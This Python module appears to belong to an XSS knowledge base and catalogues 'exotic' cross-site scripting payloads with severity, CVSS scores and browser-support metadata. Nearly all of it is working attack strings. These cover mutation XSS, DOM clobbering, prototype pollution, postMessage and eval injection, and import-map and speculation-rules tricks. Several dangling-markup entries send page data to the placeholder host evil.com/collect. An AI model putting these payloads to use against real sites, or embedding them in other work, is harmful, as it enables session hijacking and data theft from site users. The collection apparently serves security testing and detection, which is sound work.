#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Exotic Payloads
"""

from ..models import PayloadEntry


EXOTIC_PAYLOADS = {
    # mXSS (Mutation XSS)
    "mxss_noscript": PayloadEntry(
        payload='<noscript><p title="</noscript><script>alert(1)</script>">',
        contexts=["html_content"],
        severity="critical",
        cvss_score=9.0,
        description="Mutation XSS via noscript element",
        tags=["mxss", "mutation", "noscript"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "mxss_style": PayloadEntry(
        payload="<style><style/><script>alert(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=9.0,
        description="Mutation XSS via style element",
        tags=["mxss", "mutation", "style"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "mxss_textarea": PayloadEntry(
        payload="<textarea><textarea/><script>alert(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=9.0,
        description="Mutation XSS via textarea element",
        tags=["mxss", "mutation", "textarea"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "mxss_title": PayloadEntry(
        payload="<title><title/><script>alert(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=9.0,
        description="Mutation XSS via title element",
        tags=["mxss", "mutation", "title"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "mxss_cdata": PayloadEntry(
        payload="<svg><![CDATA[</svg><script>alert(1)</script>]]>",
        contexts=["html_content", "svg"],
        severity="critical",
        cvss_score=9.0,
        description="Mutation XSS via CDATA section",
        tags=["mxss", "mutation", "cdata"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "mxss_comment": PayloadEntry(
        payload="<!--<script>-->alert(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=9.0,
        description="Mutation XSS via comment",
        tags=["mxss", "mutation", "comment"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # DOM Clobbering
    "clobber_id": PayloadEntry(
        payload="<img id=x><script>alert(x)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="DOM clobbering via ID attribute",
        tags=["dom-clobbering", "id", "global"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "clobber_form": PayloadEntry(
        payload="<form id=x><input id=y></form><script>alert(x.y)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="DOM clobbering via form element",
        tags=["dom-clobbering", "form", "nested"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "clobber_name": PayloadEntry(
        payload="<img name=x><script>alert(x)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="DOM clobbering via name attribute",
        tags=["dom-clobbering", "name", "global"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "clobber_document": PayloadEntry(
        payload="<form id=document><input id=cookie></form><script>alert(document.cookie)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="DOM clobbering document object",
        tags=["dom-clobbering", "document", "override"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "clobber_location": PayloadEntry(
        payload='<a id=location href="javascript:alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="DOM clobbering location object",
        tags=["dom-clobbering", "location", "navigation"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "clobber_proto": PayloadEntry(
        payload='<form id=__proto__><input id=innerHTML value="<img src=x onerror=alert(1)>">',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="DOM clobbering prototype",
        tags=["dom-clobbering", "prototype", "advanced"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # Prototype Pollution
    "proto_url_innerhtml": PayloadEntry(
        payload="?__proto__[innerHTML]=<img src=x onerror=alert(1)>",
        contexts=["url"],
        severity="critical",
        cvss_score=9.0,
        description="Prototype pollution via URL parameter",
        tags=["prototype-pollution", "url", "innerhtml"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "proto_json": PayloadEntry(
        payload='{"__proto__":{"innerHTML":"<img src=x onerror=alert(1)>"}}',
        contexts=["json"],
        severity="critical",
        cvss_score=9.0,
        description="Prototype pollution via JSON",
        tags=["prototype-pollution", "json", "innerhtml"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "proto_constructor": PayloadEntry(
        payload="?constructor[prototype][innerHTML]=<img src=x onerror=alert(1)>",
        contexts=["url"],
        severity="critical",
        cvss_score=9.0,
        description="Prototype pollution via constructor",
        tags=["prototype-pollution", "constructor", "innerhtml"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "proto_object_assign": PayloadEntry(
        payload='<script>Object.assign(Object.prototype,{innerHTML:"<img src=x onerror=alert(1)>"})</script>',
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=9.0,
        description="Prototype pollution via Object.assign",
        tags=["prototype-pollution", "object-assign", "innerhtml"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # Dangling Markup
    "dangling_img": PayloadEntry(
        payload='<img src="https://evil.com/collect?data=',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Dangling markup via image element",
        tags=["dangling-markup", "exfiltration", "image"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "dangling_form": PayloadEntry(
        payload='<form action="https://evil.com/collect"><input name=data value="',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Dangling markup via form element",
        tags=["dangling-markup", "exfiltration", "form"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "dangling_meta": PayloadEntry(
        payload='<meta http-equiv="refresh" content="0;url=https://evil.com/collect?data=',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Dangling markup via meta refresh",
        tags=["dangling-markup", "exfiltration", "meta"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "dangling_css": PayloadEntry(
        payload='<style>@import"https://evil.com/collect?data=',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Dangling markup via CSS import",
        tags=["dangling-markup", "exfiltration", "css"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # PostMessage XSS
    "postmessage_inject": PayloadEntry(
        payload='<script>window.postMessage("<img src=x onerror=alert(1)>","*")</script>',
        contexts=["html_content", "javascript"],
        severity="high",
        cvss_score=7.5,
        description="PostMessage injection XSS",
        tags=["postmessage", "injection", "cross-origin"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "postmessage_listener": PayloadEntry(
        payload='<script>window.addEventListener("message",e=>eval(e.data))</script>',
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=9.0,
        description="PostMessage listener eval XSS",
        tags=["postmessage", "listener", "eval"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "postmessage_iframe": PayloadEntry(
        payload="<iframe src=\"javascript:parent.postMessage('<img src=x onerror=alert(1)>','*')\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="PostMessage via iframe XSS",
        tags=["postmessage", "iframe", "cross-origin"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # Import Maps XSS
    "import_map": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import maps XSS",
        tags=["import-map", "module", "modern"],
        browser_support=["chrome", "firefox", "edge"],
        reliability="certain",
    ),
    # Speculation Rules XSS
    "speculation_prefetch": PayloadEntry(
        payload='<script type="speculationrules">{"prefetch":[{"source":"list","urls":["javascript:alert(1)"]}]}</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Speculation rules prefetch XSS",
        tags=["speculation-rules", "prefetch", "modern"],
        browser_support=["chrome"],
        reliability="medium",
    ),
}
